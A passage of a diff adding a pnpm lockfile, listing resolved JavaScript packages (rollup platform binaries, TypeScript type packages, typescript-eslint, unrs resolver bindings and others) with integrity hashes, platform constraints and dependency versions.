sha512-Bcl6CYDeAgE70cqZaMojOi/eK63h5Me97ZqAQoh77VPjMysA/4ORQBRGo3rRy45x4MzVlU9uZxs8Uwy7ZaKnBw==}+ cpu: [arm64]+ os: [freebsd]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-LU+TPda3mAE2QB0/Hp5VyeKJivpC6+tlOXd1VMoXV/YFMvk/MNk5iXeBfB4MQGRWyOYVJ01625vjkr0Az98OJQ==}+ cpu: [x64]+ os: [freebsd]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-2QxQrM+KQ7DAW4o22j+XZ6RKdxjLD7BOWTP0Bv0tmjdyhXSsr2Ul1oJDQqh9Zf5qOwTuTc7Ek83mOFaKnodPjg==}+ cpu: [arm]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-TbziEu2DVsTEOPif2mKWkMeDMLoYjx95oESa9fkQQK7r/Orta0gnkcDpzwufEcAO2BLBsD7mZkXGFqEdMRRwfw==}+ cpu: [arm]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-bO/rVDiDUuM2YfuCUwZ1t1cP+/yqjqz+Xf2VtkdppefuOFS2OSeAfgafaHNkFn0t02hEyXngZkxtGqXcXwO8Rg==}+ cpu: [arm64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-hr26p7e93Rl0Za+JwW7EAnwAvKkehh12BU1Llm9Ykiibg4uIr2rbpxG9WCf56GuvidlTG9KiiQT/TXT1yAWxTA==}+ cpu: [arm64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-pOjB/uSIyDt+ow3k/RcLvUAOGpysT2phDn7TTUB3n75SlIgZzM6NKAqlErPhoFU+npgY3/n+2HYIQVbF70P9/A==}+ cpu: [loong64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-2/w+q8jszv9Ww1c+6uJT3OwqhdmGP2/4T17cu8WuwyUuuaCDDJ2ojdyYwZzCxx0GcsZBhzi3HmH+J5pZNXnd+Q==}+ cpu: [loong64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-11+aL5vKheYgczxtPVVRhdptAM2H7fcDR5Gw4/bTcteuZBlH4oP9f5s9zYO9aGZvoGeBpqXI/9TZZihZ609wKw==}+ cpu: [ppc64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-i16fokAGK46IVZuV8LIIwMdtqhin9hfYkCh8pf8iC3QU3LpwL+1FSFGej+O7l3E/AoknL6Dclh2oTdnRMpTzFQ==}+ cpu: [ppc64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-49FkKS6RGQoriDSK/6E2GkAsAuU5kETFCh7pG4yD/ylj9rKhTmO3elsnmBvRD4PgJPds5W2PkhC82aVwmUcJ7A==}+ cpu: [riscv64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-mjYNkHPfGpUR00DuM1ZZIgs64Hpf4bWcz9Z41+4Q+pgDx73UwWdAYyf6EG/lRFldmdHHzgrYyge5akFUW0D3mQ==}+ cpu: [riscv64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-ALyvJz965BQk8E9Al/JDKKDLH2kfKFLTGMlgkAbbYtZuJt9LU8DW3ZoDMCtQpXAltZxwBHevXz5u+gf0yA0YoA==}+ cpu: [s390x]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-UQjrkIdWrKI626Du8lCQ6MJp/6V1LAo2bOK9OTu4mSn8GGXIkPXk/Vsp4bLHCd9Z9Iz2OTEaokUE90VweJgIYQ==}+ cpu: [x64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-bTsRGj6VlSdn/XD4CGyzMnzaBs9bsRxy79eTqTCBsA8TMIEky7qg48aPkvJvFe1HyzQ5oMZdg7AnVlWQSKLTnw==}+ cpu: [x64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-6d4Z3534xitaA1FcMWP7mQPq5zGwBmGbhphh2DwaA1aNIXUu3KTOfwrWpbwI4/Gr0uANo7NTtaykFyO2hPuFLg==}+ cpu: [x64]+ os: [openbsd]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-NetAg5iO2uN7eB8zE5qrZ3CSil+7IJt4WDFLcC75Ymywq1VZVD6qJ6EvNLjZ3rEm6gB7XW5JdT60c6MN35Z85Q==}+ cpu: [arm64]+ os: [openharmony]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-NCYhOotpgWZ5kdxCZsv6Iudx0wX8980Q/oW4pNFNihpBKsDbEA1zpkfxJGC0yugsUuyDZ7gL37dbzwhR0VI7pQ==}+ cpu: [arm64]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-RXsaOqXxfoUBQoOgvmmijVxJnW2IGB0eoMO7F8FAjaj0UTywUO/luSqimWBJn04WNgUkeNhh7fs7pESXajWmkg==}+ cpu: [ia32]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-qdAzEULD+/hzObedtmV6iBpdL5TIbKVztGiK7O3/KYSf+HIzU257+MX1EXJcyIiDbMAqmbwaufcYPvyRryeZtA==}+ cpu: [x64]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-Nd/SgG27WoA9e+/TdK74KnHz852TLa94ovOYySo/yMPuTmpckK/jIF2jSwS3g7ELSKXK13/cVdmg1Z/DaCWKxA==}+ cpu: [x64]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ /@rtsao/[email protected]:+ resolution: {integrity: sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==}+ dev: true++ /@rushstack/[email protected]:+ resolution: {integrity: sha512-TvZbIpeKqGQQ7X0zSCvPH9riMSFQFSggnfBjFZ1mEoILW+UuXCKwOoPcgjMwiUtRqFZ8jWhPJc4um14vC6I4ag==}+ dev: true++ /@swc/[email protected]:+ resolution: {integrity: sha512-E4KcWTpoLHqwPHLxidpOqQbcrZVgi0rsmmZXUle1jXmJfuIf/UWpczUJ7MZZ5tlxytgJXyp0w4PGkkeLiuIdZw==}+ dependencies:+ tslib: 2.8.1+ dev: false++ /@tybys/[email protected]:+ resolution: {integrity: sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg==}+ requiresBuild: true+ dependencies:+ tslib: 2.8.1+ dev: true+ optional: true++ /@types/[email protected]:+ resolution: {integrity: sha512-EXHOHxqQjGxLDEh5cP4te6J0bi7LbCzmZkzsR6f703igUac8UGMdEohMyU3GHAayCTZrLQOMnaE/lqB2Ekh8Ww==}+ deprecated: This is a stub types definition. cytoscape provides its own type definitions, so you do not need this installed.+ dependencies:+ cytoscape: 3.33.3+ dev: true++ /@types/[email protected]:+ resolution: {integrity: sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==}+ dev: false++ /@types/[email protected]:+ resolution: {integrity: sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==}+ dev: false++ /@types/[email protected]:+ resolution: {integrity: sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==}+ dev: false++ /@types/[email protected]:+ resolution: {integrity: sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==}+ dependencies:+ '@types/d3-color': 3.1.3+ dev: false++ /@types/[email protected]:+ resolution: {integrity: sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==}+ dev: false++ /@types/[email protected]:+ resolution: {integrity: sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==}+ dependencies:+ '@types/d3-time': 3.0.4+ dev: false++ /@types/[email protected]:+ resolution: {integrity: sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w==}+ dependencies:+ '@types/d3-path': 3.1.1+ dev: false++ /@types/[email protected]:+ resolution: {integrity: sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==}+ dev: false++ /@types/[email protected]:+ resolution: {integrity: sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==}+ dev: false++ /@types/[email protected]:+ resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==}+ dev: true++ /@types/[email protected]:+ resolution: {integrity: sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==}+ dev: true++ /@types/[email protected]:+ resolution: {integrity: sha512-orrrD74MBUyK8jOAD/r0+lfa1I2MO6I+vAkmAWzMYbCcgrN4lCrmK52gRFQq/JRxfYPfonkr4b0jcY7Olqdqbw==}+ dependencies:+ undici-types: 6.21.0+ dev: true++ /@types/[email protected]:+ resolution: {integrity: sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==}++ /@types/[email protected](@types/[email protected]):+ resolution: {integrity: sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==}+ peerDependencies:+ '@types/react': ^18.0.0+ dependencies:+ '@types/react': 18.3.28+ dev: true++ /@types/[email protected]:+ resolution: {integrity: sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw==}+ dependencies:+ '@types/prop-types': 15.7.15+ csstype: 3.2.3++ /@types/[email protected]:+ resolution: {integrity: sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==}+ requiresBuild: true+ dev: false+ optional: true++ resolution: {integrity: sha512-tbsV1jPne5CkFQCgPBcDOt30ItF7aJoZL997JSF7MhGQqOeT3svWRYxiqlfA5RUdlHN6Fi+EI9bxqbdyAUZjYQ==}+ engines: {node: ^16.0.0 || >=18.0.0}+ peerDependencies:+ eslint: ^7.0.0 || ^8.0.0+ typescript: '*'+ peerDependenciesMeta:+ typescript:+ optional: true+ dependencies:+ '@typescript-eslint/scope-manager': 6.21.0+ '@typescript-eslint/types': 6.21.0+ '@typescript-eslint/typescript-estree': 6.21.0([email protected])+ '@typescript-eslint/visitor-keys': 6.21.0+ debug: 4.4.3+ eslint: 8.57.1+ typescript: 5.9.3+ transitivePeerDependencies:+ - supports-color+ dev: true++ /@typescript-eslint/[email protected]:+ resolution: {integrity: sha512-OwLUIWZJry80O99zvqXVEioyniJMa+d2GrqpUTqi5/v5D5rOrppJVBPa0yKCblcigC0/aYAzxxqQ1B+DS2RYsg==}+ engines: {node: ^16.0.0 || >=18.0.0}+ dependencies:+ '@typescript-eslint/types': 6.21.0+ '@typescript-eslint/visitor-keys': 6.21.0+ dev: true++ /@typescript-eslint/[email protected]:+ resolution: {integrity: sha512-1kFmZ1rOm5epu9NZEZm1kckCDGj5UJEf7P1kliH4LKu/RkwpsfqqGmY2OOcUs18lSlQBKLDYBOGxRVtrMN5lpg==}+ engines: {node: ^16.0.0 || >=18.0.0}+ dev: true++ /@typescript-eslint/[email protected]([email protected]):+ resolution: {integrity: sha512-6npJTkZcO+y2/kr+z0hc4HwNfrrP4kNYh57ek7yCNlrBjWQ1Y0OS7jiZTkgumrvkX5HkEKXFZkkdFNkaW2wmUQ==}+ engines: {node: ^16.0.0 || >=18.0.0}+ peerDependencies:+ typescript: '*'+ peerDependenciesMeta:+ typescript:+ optional: true+ dependencies:+ '@typescript-eslint/types': 6.21.0+ '@typescript-eslint/visitor-keys': 6.21.0+ debug: 4.4.3+ globby: 11.1.0+ is-glob: 4.0.3+ minimatch: 9.0.3+ semver: 7.7.4+ ts-api-utils: 1.4.3([email protected])+ typescript: 5.9.3+ transitivePeerDependencies:+ - supports-color+ dev: true++ /@typescript-eslint/[email protected]:+ resolution: {integrity: sha512-JJtkDduxLi9bivAB+cYOVMtbkqdPOhZ+ZI5LC47MIRrDV4Yn2o+ZnW10Nkmr28xRpSpdJ6Sm42Hjf2+REYXm0A==}+ engines: {node: ^16.0.0 || >=18.0.0}+ dependencies:+ '@typescript-eslint/types': 6.21.0+ eslint-visitor-keys: 3.4.3+ dev: true++ /@ungap/[email protected]:+ resolution: {integrity: sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==}+ dev: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw==}+ cpu: [arm]+ os: [android]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-lCxkVtb4wp1v+EoN+HjIG9cIIzPkX5OtM03pQYkG+U5O/wL53LC4QbIeazgiKqluGeVEeBlZahHalCaBvU1a2g==}+ cpu: [arm64]+ os: [android]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-gPVA1UjRu1Y/IsB/dQEsp2V1pm44Of6+LWvbLc9SDk1c2KhhDRDBUkQCYVWe6f26uJb3fOK8saWMgtX8IrMk3g==}+ cpu: [arm64]+ os: [darwin]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-cFzP7rWKd3lZaCsDze07QX1SC24lO8mPty9vdP+YVa3MGdVgPmFc59317b2ioXtgCMKGiCLxJ4HQs62oz6GfRQ==}+ cpu: [x64]+ os: [darwin]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-fqtGgak3zX4DCB6PFpsH5+Kmt/8CIi4Bry4rb1ho6Av2QHTREM+47y282Uqiu3ZRF5IQioJQ5qWRV6jduA+iGw==}+ cpu: [x64]+ os: [freebsd]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-u92mvlcYtp9MRKmP+ZvMmtPN34+/3lMHlyMj7wXJDeXxuM0Vgzz0+PPJNsro1m3IZPYChIkn944wW8TYgGKFHw==}+ cpu: [arm]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-cINaoY2z7LVCrfHkIcmvj7osTOtm6VVT16b5oQdS4beibX2SYBwgYLmqhBjA1t51CarSaBuX5YNsWLjsqfW5Cw==}+ cpu: [arm]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-34gw7PjDGB9JgePJEmhEqBhWvCiiWCuXsL9hYphDF7crW7UgI05gyBAi6MF58uGcMOiOqSJ2ybEeCvHcq0BCmQ==}+ cpu: [arm64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-RyMIx6Uf53hhOtJDIamSbTskA99sPHS96wxVE/bJtePJJtpdKGXO1wY90oRdXuYOGOTuqjT8ACccMc4K6QmT3w==}+ cpu: [arm64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-D8Vae74A4/a+mZH0FbOkFJL9DSK2R6TFPC9M+jCWYia/q2einCubX10pecpDiTmkJVUH+y8K3BZClycD8nCShA==}+ cpu: [ppc64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-frxL4OrzOWVVsOc96+V3aqTIQl1O2TjgExV4EKgRY09AJ9leZpEg8Ak9phadbuX0BA4k8U5qtvMSQQGGmaJqcQ==}+ cpu: [riscv64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-mJ5vuDaIZ+l/acv01sHoXfpnyrNKOk/3aDoEdLO/Xtn9HuZlDD6jKxHlkN8ZhWyLJsRBxfv9GYM2utQ1SChKew==}+ cpu: [riscv64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-kELo8ebBVtb9sA7rMe1Cph4QHreByhaZ2QEADd9NzIQsYNQpt9UkM9iqr2lhGr5afh885d/cB5QeTXSbZHTYPg==}+ cpu: [s390x]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-C3ZAHugKgovV5YvAMsxhq0gtXuwESUKc5MhEtjBpLoHPLYM+iuwSj3lflFwK3DPm68660rZ7G8BMcwSro7hD5w==}+ cpu: [x64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-rV0YSoyhK2nZ4vEswT/QwqzqQXw5I6CjoaYMOX0TqBlWhojUf8P94mvI7nuJTeaCkkds3QE4+zS8Ko+GdXuZtA==}+ cpu: [x64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-5u4RkfxJm+Ng7IWgkzi3qrFOvLvQYnPBmjmZQ8+szTK/b31fQCnleNl1GgEt7nIsZRIf5PLhPwT0WM+q45x/UQ==}+ engines: {node: '>=14.0.0'}+ cpu: [wasm32]+ requiresBuild: true+ dependencies:+ '@napi-rs/wasm-runtime': 0.2.12+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-nRcz5Il4ln0kMhfL8S3hLkxI85BXs3o8EYoattsJNdsX4YUU89iOkVn7g0VHSRxFuVMdM4Q1jEpIId1Ihim/Uw==}+ cpu: [arm64]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-DCEI6t5i1NmAZp6pFonpD5m7i6aFrpofcp4LA2i8IIq60Jyo28hamKBxNrZcyOwVOZkgsRp9O2sXWBWP8MnvIQ==}+ cpu: [ia32]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ /@unrs/[email protected]:+ resolution: {integrity: sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g==}+ cpu: [x64]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==}+ peerDependencies:+ acorn: ^6.0.0 || ^7.0.0 || ^8.0.0+ dependencies:+ acorn: 8.16.0+ dev: true++ resolution: {integrity: sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==}+ engines: {node: '>=0.4.0'}+ hasBin: true+ dev: true++ resolution: {integrity: sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==}+ dependencies:+ fast-deep-equal: 3.1.3+ fast-json-stable-stringify: 2.1.0+ json-schema-traverse: 0.4.1+ uri-js: 4.4.1+ dev: true++ resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==}+ engines: {node: '>=12'}+ dev: true++ resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==}+ engines: {node: '>=8'}+ dependencies:+ color-convert: 2.0.1+ dev: true++ resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==}+ engines: {node: '>=12'}+ dev: true++ resolution: {integrity: sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==}+ dev: true++ resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==}+ engines: {node: '>= 8'}+ dependencies:+ normalize-path: 3.0.0+ picomatch: 2.3.2+ dev: true++ resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==}+ dev: true++ resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==}+ dev: true++ resolution: {integrity: sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==}+ engines: {node: '>=10'}+ dependencies:+ tslib: 2.8.1+ dev: false++ resolution: {integrity: sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ is-array-buffer: 3.0.5+ dev: true++ resolution: {integrity: sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-object-atoms: 1.1.1+ get-intrinsic: 1.3.0+ is-string: 1.1.1+ math-intrinsics: 1.1.0+ dev: true++ resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-errors: 1.3.0+ es-object-atoms: 1.1.1+ es-shim-unscopables: 1.1.0+ dev: true++ resolution: {integrity: sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-errors: 1.3.0+ es-object-atoms: 1.1.1+ es-shim-unscopables: 1.1.0+ dev: true++ resolution: {integrity: sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-shim-unscopables: 1.1.0+ dev: true++ resolution: {integrity: sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-shim-unscopables: 1.1.0+ dev: true++ resolution: {integrity: sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-errors: 1.3.0+ es-shim-unscopables: 1.1.0+ dev: true++ resolution: {integrity: sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ array-buffer-byte-length: 1.0.2+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-errors: 1.3.0+ get-intrinsic: 1.3.0+ is-array-buffer: 3.0.5+ dev: true++ resolution: {integrity: sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==}+ dev: true++ resolution: {integrity: sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-FMhOoZV4+qR6aTUALKX2rEqGG+oyATvwBt9IIzVR5rMa2HRWPkxf+P+PAJLD1I/H5/II+HuZcBJYEFBpq39ong==}+ engines: {node: ^10 || ^12 || >=14}+ hasBin: true+ peerDependencies:+ postcss: ^8.1.0+ dependencies:+ browserslist: 4.28.2+ caniuse-lite: 1.0.30001791+ fraction.js: 5.3.4+ picocolors: 1.1.1+ postcss: 8.5.13+ postcss-value-parser: 4.2.0+ dev: true++ resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ possible-typed-array-names: 1.1.0+ dev: true++ resolution: {integrity: sha512-KunSNx+TVpkAw/6ULfhnx+HWRecjqZGTOyquAoWHYLRSdK1tB5Ihce1ZW+UY3fj33bYAFWPu7W/GRSmmrCGuxA==}+ engines: {node: '>=4'}+ dev: true++ resolution: {integrity: sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==}+ dev: true++ resolution: {integrity: sha512-QO/VHsXCQdnzADMfmkeOPvHdIAkoB7i0/rGjINPJEetLx75hNttVWGQ/jycHUDP9zZ9rupbm60WRxcwViB0MiA==}+ engines: {node: '>=6.0.0'}+ hasBin: true+ dev: true++ resolution: {integrity: 